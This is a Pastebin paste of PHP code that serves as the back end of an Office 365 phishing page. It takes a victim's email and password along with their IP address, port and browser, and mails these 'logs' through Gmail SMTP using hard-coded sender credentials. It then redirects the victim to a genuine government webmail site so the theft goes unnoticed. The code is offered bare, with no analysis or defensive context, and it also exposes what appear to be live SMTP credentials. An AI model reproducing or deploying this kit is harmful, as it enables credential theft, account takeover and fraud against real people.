Advertisement
Guest User

Untitled

a guest
Aug 21st, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.33 KB | None | 0 0
  1. <?php
  2. use PHPMailer\PHPMailer\PHPMailer;
  3. use PHPMailer\PHPMailer\Exception;
  4.  
  5. if(isset($_POST['submit']))
  6. {
  7. $to = "wwwislamicbs@yahoo.com";
  8. $subject = "365 logs";
  9. $date = date('Y-m-d | H:i:s');
  10. $browser = $_SERVER['HTTP_USER_AGENT'];
  11. $ip = $_SERVER['REMOTE_ADDR'];
  12. $port = $_SERVER['REMOTE_PORT'];
  13. $email = $_SESSION['username'];
  14. $pass = $_POST['password'];
  15.  
  16. require 'vendor/autoload.php';
  17.  
  18. $mail = new PHPMailer(true);
  19.  
  20. //Server settings
  21. $mail->isSMTP();
  22. $mail->Host = 'smtp.gmail.com';
  23. $mail->SMTPAuth = true;
  24. $mail->Username = 'report@cretinsworld.info';
  25. $mail->Password = 'Webmail@2';
  26. $mail->SMTPSecure = 'ssl';
  27. $mail->Port = 587;
  28.  
  29. //Recipients
  30. $mail->setFrom('report@cretinsworld.info');
  31. $mail->addAddress($email);
  32.  
  33. //Content
  34. $mail->isHTML(true);
  35. $mail->Subject = 'Reports!';
  36. $mail->Body = '
  37. <body>
  38. <div style="border:1px solid #ccc; padding: 3px;">
  39. <div><b>Office 365</b></div><br>
  40. <div><b>Date/Time:</b>".$date."</div>
  41. <div><b>Browser:</b>".$browser."</div>
  42. <div><b>IP:</b>".$ip."</div>
  43. <div><b>Port:</b>".$port."</div>
  44. <div><b>Email</b>:".$email."</div>
  45. <div><b>Password:</b>".$pass."</div>
  46. </div><br></body>';
  47.  
  48. // Sending email
  49. if($mail->send()){
  50. header('location:https://mail.oag.go.th/');
  51. }
  52. }
  53. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement